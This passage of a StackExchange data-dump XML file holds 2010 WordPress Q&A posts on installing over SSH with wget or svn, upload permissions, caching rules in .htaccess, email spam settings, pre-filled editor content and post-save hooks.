class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt; // this row contains actions&#xA;            &amp;lt;th class=&quot;check-column&quot; scope=&quot;row&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row-actions&quot;&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Action&amp;lt;/a&amp;gt; |&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Action&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-06T18:33:51.527" CommentCount="1" />
  <row Id="1426" PostTypeId="1" AcceptedAnswerId="1428" CreationDate="2010-09-06T18:43:29.150" Score="0" ViewCount="200" Body="&lt;p&gt;Assume I have SSH from a shared/managed-VPS hosting, and FTP access, but no fantastico.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T01:26:04.560" LastActivityDate="2010-09-07T01:26:04.560" Title="Quickest Way Besides FTP to Upload WordPress Files to a Web Server?" Tags="&lt;installation&gt;&lt;uploads&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1427" PostTypeId="2" ParentId="1424" CreationDate="2010-09-06T18:55:22.710" Score="1" ViewCount="" Body="&lt;p&gt;Verify if your install meets the requirements: &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#WordPress_Settings_Requirements&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network#WordPress_Settings_Requirements&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.: you will not be able to use subdomains if your url is an ip address&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-06T20:31:17.847" LastActivityDate="2010-09-06T20:31:17.847" CommentCount="2" />
  <row Id="1428" PostTypeId="2" ParentId="1426" CreationDate="2010-09-06T19:09:36.960" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&#xA;There is a script called &lt;a href=&quot;http://www.funscripts.net/php-scripts/&quot; rel=&quot;nofollow&quot;&gt;easywp.php&lt;/a&gt;&#xA;You upload it to your server and run it.&#xA;it will install wordpress for you (i.e. download the .gz file, open it, etc ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to download wordpress to your server using wget and ssh.&#xA;you can do that using the command: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://wordpress.org/latest.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want that wordpress install in Hebrew:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://www.tazone.net/google/wpheb-1file-installation-php-script/&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt; and then upgrade&lt;/li&gt;&#xA;&lt;li&gt;edit the easywp.php so it will download the latest Hebrew version (the name changes with each new release)&lt;/li&gt;&#xA;&lt;li&gt;change the script mentioned in option (1) to get the latest version for you&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-06T19:09:36.960" CommentCount="1" />
  <row Id="1429" PostTypeId="2" ParentId="1426" CreationDate="2010-09-06T19:34:46.640" Score="2" ViewCount="" Body="&lt;p&gt;Using the wget command is a very quick way of uploading WordPress files to your server but an even &quot;quicker&quot; way would be to install using subversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main benefit to using subversion is that it is easier to update to new versions using the ssh svn commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To install WordPress using svn:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the directory you would like WordPress to reside in or cd to your public_html or root web directory to install in root.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mkdir my_wp_install_dir&#xA;&#xA;$ cd my_wp_install_dir&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to install the latest bleeding edge version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ svn co http://core.svn.wordpress.org/trunk/ .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to install the latest stable version add the current version number following tags/ and always add a space then the period after the version number to make sure WordPress gets installed in the directory you are currently in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ svn co http://core.svn.wordpress.org/tags/3.0.1 . &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then need to edit the wp-config-sample.php file as usual and save it as wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nano wp-config-sample.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ctrl-x to save then change the name to wp-config.php at the next prompt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run /wp-admin/install.php as you normally would. and your done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update an svn installion to the latest version cd to your installation directory and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ svn up //this will update to latest trunk bleeding edge version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if a version 3.0.2 came out and you are not running trunk run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ svn sw http://core.svn.wordpress.org/tags/3.0.2/ .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then run the normal wp-admin/upgrade.php&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-06T19:34:46.640" CommentCount="1" />
  <row Id="1430" PostTypeId="1" CreationDate="2010-09-06T19:54:09.660" Score="3" ViewCount="992" Body="&lt;p&gt;For some reason when I try to upload an image to my blog I get an error message saying that WP can't create a folder under the relevant directory (wp-content/uploads/2010/09) and it's asking if the folder above it has write permissions.&#xA;The parent folder indeed has write permissions. I tried creating the folder manually and it still shows the same error message.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-23T07:37:17.107" Title="Can't upload images due to permissions error" Tags="&lt;permissions&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="3" />
  <row Id="1431" PostTypeId="1" CreationDate="2010-09-06T19:56:39.037" Score="2" ViewCount="135" Body="&lt;p&gt;There are a couple of plugins that I'd like to have developed however I am poor so I'd love it if there was a platform that allowed me to easily group with others that have the same need and pool our resources to pay a developer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a lot of freelance developer job boards and bidding platforms but I was wondering if there were any platforms out there that would specifically empower a group of users/designers to pool their money behind a project they like, and allow for developers to bid out the project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I would envision it working would be a hybrid between &lt;a href=&quot;http://www.freelancer.com/&quot; rel=&quot;nofollow&quot;&gt;Freelancer.com&lt;/a&gt; (or &lt;a href=&quot;http://www.elance.com/&quot; rel=&quot;nofollow&quot;&gt;elance.com&lt;/a&gt;) and &lt;a href=&quot;http://www.kickstarter.com/&quot; rel=&quot;nofollow&quot;&gt;Kickstarter.com&lt;/a&gt;.  Actually, it would be similar to &lt;a href=&quot;http://area51.stackexchange.com/&quot;&gt;Area51&lt;/a&gt; on the &lt;a href=&quot;http://www.stackexchange.com/&quot; rel=&quot;nofollow&quot;&gt;StackExchange&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case this doesn't exist, I'll elaborate on my idea for anyone that wants to make such a platform... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, someone could post a project, take bids, then open it up for crowd funding or before any project is even bid on it could be open to a vote in the sense that people have to commit to at least $5 and once it reaches a certain commitment level it goes out for bids.  &lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-17T14:52:31.540" LastActivityDate="2010-12-14T12:12:58.797" CommunityOwnedDate="2010-11-16T20:31:20.350" Title="Platform/Website that Supports Crowd-Funded WordPress Projects?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="3" />
  <row Id="1432" PostTypeId="2" ParentId="1400" CreationDate="2010-09-06T19:57:14.197" Score="1" ViewCount="" Body="&lt;p&gt;This maybe a problem with your server. If several sites are hosted on your server (shared hosting) and some of them send spam emails, it is possible the IP of your host is blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution would be to use an SMTP server. This plugin will be helpful: &lt;a href=&quot;http://www.callum-macdonald.com/code/wp-mail-smtp/&quot; rel=&quot;nofollow&quot;&gt;http://www.callum-macdonald.com/code/wp-mail-smtp/&lt;/a&gt;. You just need to configure it so that your WordPress installation uses an SMTP server for all the emails (including those sent by Contact Form 7).&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-06T19:57:14.197" />
  <row Id="1433" PostTypeId="2" ParentId="128" CreationDate="2010-09-06T20:21:38.883" Score="2" ViewCount="" Body="&lt;h3&gt;If custom post types are too hard to manage for you&lt;/h3&gt;  &#xA;&#xA;&lt;p&gt;Take a look at the famous &lt;strong&gt;&lt;a href=&quot;http://podscms.org&quot; rel=&quot;nofollow&quot;&gt;&quot;pods&quot; plugin&lt;/a&gt;&lt;/strong&gt;. it has a lot of Killer features and there's some &quot;add-on&quot; or child plugin called &lt;em&gt;&quot;pods ui&quot;&lt;/em&gt;. Pods itself allows you to add any sort of table(s) to your DB. It also allows linking them to existing wp DB tables. So if you want to (for ex.:) extend the data saved with an user, you just add a &lt;em&gt;pod&lt;/em&gt; named ex. &quot;extended userdata&quot; and link it to existing user data. That's it. &quot;Pods UI&quot; then allows you to make a nice user interface with close to no effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both help you to easily manage and build everything you might need. All of the developers are more than just nice, they have a perfect forum and you can meet them nearly every day in their irc-chat room. I build myself two pretty large sites for managing events plus the whole background organisation and i'm still impressed how good it is performing even when you got hundreds of visitors at the same moment. :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-07T11:25:18.627" LastActivityDate="2011-04-07T11:25:18.627" CommunityOwnedDate="2010-09-06T20:21:38.883" />
  <row Id="1434" PostTypeId="2" ParentId="1401" CreationDate="2010-09-06T21:05:25.747" Score="3" ViewCount="" Body="&lt;p&gt;From my experience with W3 Total Cache this error is triggered when the plugin cannot write to the .htaccess file.  It also suggests chmod 777 to the file and has a button that says &quot;try-again&quot; that you can click after changing the permissions to .htaccess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest chmod 777 to .htaccess, click try again, then change the permissions back afterwards.  If this is not possible then you will need to paste the code into the file above the WordPress rewrite rules making sure not to replace them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin has a set of rules for each caching method that need to be added to various .htaccess files.  To find the rules needed for each file go to performance - install:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you posted above is missing the mime type rules that should be in the browser cache .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4bl1C.png&quot; alt=&quot;alt text&quot;&gt; &lt;img src=&quot;http://i.stack.imgur.com/z8Ayb.png&quot; alt=&quot;alt text&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/Rfka5.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-06T21:52:01.297" LastActivityDate="2010-09-06T21:52:01.297" CommunityOwnedDate="2010-09-06T21:05:25.747" />
  <row Id="1435" PostTypeId="2" ParentId="1382" CreationDate="2010-09-06T21:10:49.237" Score="3" ViewCount="" Body="&lt;p&gt;Well this is somehow a very specific topic that is bound to a Wordpress development issue. I strongly suggest you to keep track of the trac ticket if you liked my article. That is the best thing you can do I assume for finding out when the problems come into play as well how to circumvent them technically (if you don't like the &lt;em&gt;don't use &lt;code&gt;remove_filter()&lt;/code&gt;&lt;/em&gt;-answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take it from a theoretic standpoint: It's just that the used datatypes are not strictly dealt with to ensure the same functionality on all possible values (f(n) != f(n)). In short: a broken design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean it will always break in practise? - No! It's just that it can happen sometimes. And then you're trapped when you need to rely on &lt;code&gt;remove_filter()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better suggestion might be this one: If you develop plugins that make use of hooks as class methods, ensure that the plugin get executed on installations with PHP 5.2 / 5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please keep the technical discussion in the trac ticket. And if you're seriously interested, please help to fix the shortcomings of the current design.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-06T21:10:49.237" CommentCount="2" />
  <row Id="1436" PostTypeId="2" ParentId="1416" CreationDate="2010-09-06T21:15:10.557" Score="0" ViewCount="" Body="&lt;p&gt;This one will cause you some problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update wp_options set option_value=replace(option_value,'OLD URL','NEW URL') where option_value like &quot;%OLD URL%&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will corrupt any active widget data which is stored in the options table, because that information is most likely serialized, and the query doesn't account for serialized data. That was the gist of the wp-hackers thread. However, nobody on that thread seemed to come up with a foolproof query for handling serialized data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to just change the options for 'siteurl' and 'home' in wp_options individually, then modify your widgets from the dashboard.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-09-06T21:15:10.557" CommentCount="1" />
  <row Id="1437" PostTypeId="2" ParentId="372" CreationDate="2010-09-06T21:30:24.303" Score="0" ViewCount="" Body="&lt;p&gt;There are some things that already come with wordpress. For example jQuery and some jQuery plugins. You'll find a list of them including the wordpress function wp_enqueue_script and the proper usage (incl. examples) over here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things i alway use are functions that remove the_generator wordpress links and similar. For security reasons i tweak all scripts &amp;amp; styles loaded wp_enqueue_style and wp_enqueue_script so that the version number is set to zero to avoid that every possible hacker finds some already known security holes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other plugins &amp;amp; Widgets: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact Form 7&lt;/li&gt;&#xA;&lt;li&gt;Adminimize&lt;/li&gt;&#xA;&lt;li&gt;Log depracated Notices&lt;/li&gt;&#xA;&lt;li&gt;Login Lock down&lt;/li&gt;&#xA;&lt;li&gt;Some related posts widget&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2010-09-06T21:30:24.303" CommunityOwnedDate="2010-09-06T21:30:24.303" />
  <row Id="1438" PostTypeId="2" ParentId="1400" CreationDate="2010-09-06T21:46:09.543" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@janoChen,&lt;/strong&gt;&#xA;The problem could be that your email server is not using Domain Keys or a valid spf record&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;DomainKeys&lt;/strong&gt; is an e-mail authentication system that allows for incoming mail to be checked against the server it was sent from to verify that the mail has not been modified. This ensures that messages are actually coming from the listed sender and allows abusive messages to be tracked with more ease.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;DomainKeys can be set up in Cpanel under Email Authentication&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;SPF&lt;/strong&gt; will specify which machines are authorized to send email from your domain(s). This means that only mail sent through this server will appear as valid mail from your domain(s) when the SPF records are checked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SPF records can be set in Cpanel or by adding the record to your DNS.  A sample SPF record looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v=spf1 a mx ip4:xxx.xxx.17.118 a:my.servername.com ?all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tells email servers that the specified ip address and host are permitted to send mail from my domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/configure-smtp/&quot; rel=&quot;nofollow&quot;&gt;Configure SMTP plugin&lt;/a&gt;&lt;/strong&gt; will set up WordPress to use SMTP authentication to send out mail.  It also has an option to use Gmail or Google Apps to send WordPress mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check the email headers to find out why your messages are going to spam&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Gmail you can view the headers which will tell you the problem with the message by clicking the drop down arrow under replay and selecting &quot;show original&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VN27B.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a header example from some &quot;Viagra&quot; spam in my spam box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Received-SPF: neutral (google.com: 123.238.77.28 is neither permitted nor denied by best guess record for domain of chris@buymmoaccounts.com) client-ip=123.238.77.28;&#xA;Authentication-Results: mx.google.com; spf=neutral (google.com: 123.238.77.28 is neither permitted nor denied by best guess record for domain of chris@buymmoaccounts.com) smtp.mail=chris@buymmoaccounts.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-06T21:46:09.543" />
  <row Id="1439" PostTypeId="1" AcceptedAnswerId="1440" CreationDate="2010-09-06T22:27:47.867" Score="3" ViewCount="348" Body="&lt;p&gt;I've built a simple sales page theme and would like to enhance it a bit by allowing the input of default content (including headers, bullet points, testimonial blockquotes and the ubiquitous &quot;add to cart&quot; button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the options for adding html snippets to content pages and/or posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, when I click &quot;Add New&quot; from the Post or Page menu, the content would already be pre-populated with the sales page default content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps even better, I could add a menu below the &quot;Add New&quot; link like &quot;Add New Salespage&quot; and by clicking that, it would default the sales page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have a page in my theme folder called salespage.html (or salespage.txt, or salespage.php, whichever is easier to work with) and this would be the content that is used to prepopulate the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Thanks to Chris_O's answer below, I was able to find the solution. I've augmented Chris suggested solution to load the content from an external file....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (get_option(&quot;cb2_theme&quot;) == &quot;salespage&quot;)&#xA;{&#xA;//added to support salespage creation&#xA;add_filter( 'default_content', 'my_editor_content' );&#xA;&#xA;function my_editor_content( $content ) {&#xA;&#xA;    if(file_exists(ABSPATH.'wp-content/themes/clickbump_wp3/styles/salespage/default-content.html')){$content = file_get_contents(ABSPATH.'wp-content/themes/mytheme/styles/salespage/default-content.html');}else{$content = &quot;Enter your salespage content here. h1-h3 tags, blockquotes etc&quot;;}&#xA;&#xA;    //$content = &quot;This is some custom content I'm adding to the post editor because I hate re-typing it.&quot;;&#xA;&#xA;    return $content;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-09-07T13:30:48.943" LastActivityDate="2011-03-01T00:57:21.983" Title="Pre-populating the Page/Post Content Editor with HTML Snippets?" Tags="&lt;themes&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="1440" PostTypeId="2" ParentId="1439" CreationDate="2010-09-06T22:53:48.433" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Scott B,&lt;/strong&gt;&#xA;I just read a post on &lt;a href=&quot;http://justintadlock.com/archives/2009/04/05/how-to-preset-text-in-the-wordpress-post-editor&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlocks Blog&lt;/a&gt; regarding this same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;default_content&lt;/code&gt; filter hook and it to the themes function.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_filter( 'default_content', 'my_editor_content' );&#xA;&#xA;function my_editor_content( $content ) {&#xA;&#xA;    $content = &quot;This is some custom content I'm adding to the post editor because I hate re-typing it.&quot;;&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could add XHTML or anything you wanted to the $content string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click &quot;Add New Post&quot; you get:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/pwuGt.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-06T22:53:48.433" CommentCount="1" />
  <row Id="1441" PostTypeId="2" ParentId="1416" CreationDate="2010-09-07T01:35:10.747" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@MikeK&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others have given you suggestions on the SQL queries which you asked for and I hope learning them helps you with the process; I know I always helps me to learn one level below where I need to operate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you also asked for the &lt;em&gt;best&lt;/em&gt; way to do it and I'd like to suggest you look at the post you reference again (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production/182#182&quot;&gt;&lt;em&gt;Moving from Development to Production&lt;/em&gt;&lt;/a&gt;) but this time &lt;a href=&quot;http://mikeschinkel.com/downloads/wp-migrate-webhosts-0.5.zip&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;look at the plugin&lt;/strong&gt;&lt;/a&gt; I reference in the post, a &lt;strong&gt;plugin to fixup the data&lt;/strong&gt; after going from one server to another. Rather than get your hands dirty periodically with SQL you have to relearn why not delegate that to a plugin that handles it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is &lt;strong&gt;fully hookable&lt;/strong&gt; so when you do need to get down to SQL to handle some other data that one of your other plugins introduced you can extend it and thus it can handle anything that needs to be fixed-up when you move from host to host. Probably the best part is that it &lt;strong&gt;gives you a place in &lt;code&gt;/wp-config.php&lt;/code&gt; to list all of the details of each host&lt;/strong&gt;; i.e. domains, root paths, databases, dbusers, passwords and even things like Google Maps API keys when you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is still in alpha which is why it is here on StackExchange and not listed in the WordPress plugin repository yet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production/182#182&quot;&gt;&lt;strong&gt;WP Migrate Webhosts&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T01:46:16.477" LastActivityDate="2010-09-07T01:46:16.477" CommentCount="2" />
  <row Id="1442" PostTypeId="2" ParentId="1414" CreationDate="2010-09-07T01:55:24.563" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@dotty:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the end of the &lt;code&gt;wp_insert_post()&lt;/code&gt; function in the file &lt;code&gt;/wp-includes/post.php&lt;/code&gt; (on lines 2148 thru 2392 in WordPress 3.0.1. &lt;em&gt;Note that WordPress uses this function both for adding and updating posts.&lt;/em&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end it has the following code. From this code you can identify the call to &lt;code&gt;wp_transition_post_status()&lt;/code&gt; (more on that in a bit) and we have the action hooks &lt;code&gt;edit_post&lt;/code&gt;, &lt;code&gt;post_updated&lt;/code&gt;, &lt;code&gt;save_post&lt;/code&gt; and &lt;code&gt;wp_insert_post&lt;/code&gt; (&lt;em&gt;frankly I don't know why we have the latter two instead of just one.&lt;/em&gt;) You can use any of those that are appropriate for your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_transition_post_status($data['post_status'], $previous_status, $post);&#xA;if ( $update ) {&#xA;  do_action('edit_post', $post_ID, $post);&#xA;  $post_after = get_post($post_ID);&#xA;  do_action( 'post_updated', $post_ID, $post_after, $post_before);&#xA;}&#xA;do_action('save_post', $post_ID, $post);&#xA;do_action('wp_insert_post', $post_ID, $post);&#xA;return $post_ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as &lt;em&gt;@Jan Fabry&lt;/em&gt; mentioned there are the action hooks found in &lt;code&gt;wp_transition_post_status()&lt;/code&gt; (on 2713 thru 2717 of &lt;code&gt;/wp-includes/post.php&lt;/code&gt; in WordPress 3.0.1.) Note there are three of them; use as appropriate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function wp_transition_post_status($new_status, $old_status, $post) {&#xA;  do_action('transition_post_status', $new_status, $old_status, $post);&#xA;  do_action(&quot;${old_status}_to_$new_status&quot;, $post);&#xA;  do_action(&quot;${new_status}_$post-&amp;gt;post_type&quot;, $post-&amp;gt;ID, $post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-07T01:55:24.563" />
  <row Id="1443" PostTypeId="2" ParentId="1413" CreationDate="2010-09-07T02:03:08.780" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jan&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider adding a filter to your custom post type list in the admin? The linked answer below shows how to do it with a taxonomy but you could easily use other criteria  in your &lt;code&gt;restrict_manage_posts&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type/582#582&quot;&gt;&lt;strong&gt;Adding a Taxonomy Filter to Admin List for a Custom Post Type?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have more questions.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-07T02:03:08.780" CommentCount="2" />
  <row Id="1444" PostTypeId="1" AcceptedAnswerId="1448" CreationDate="2010-09-07T02:11:01.467" Score="2" ViewCount="81" Body="&lt;p&gt;What is the difference between the suppress_errors() function and the hide_errors() functionin wpdb class? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the use of each function?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-09-07T06:11:24.743" Title="What Is The Difference Between suppress_errors() And hide_errors() in $wpdb?" Tags="&lt;3.0&gt;&lt;database&gt;" AnswerCount="1" />
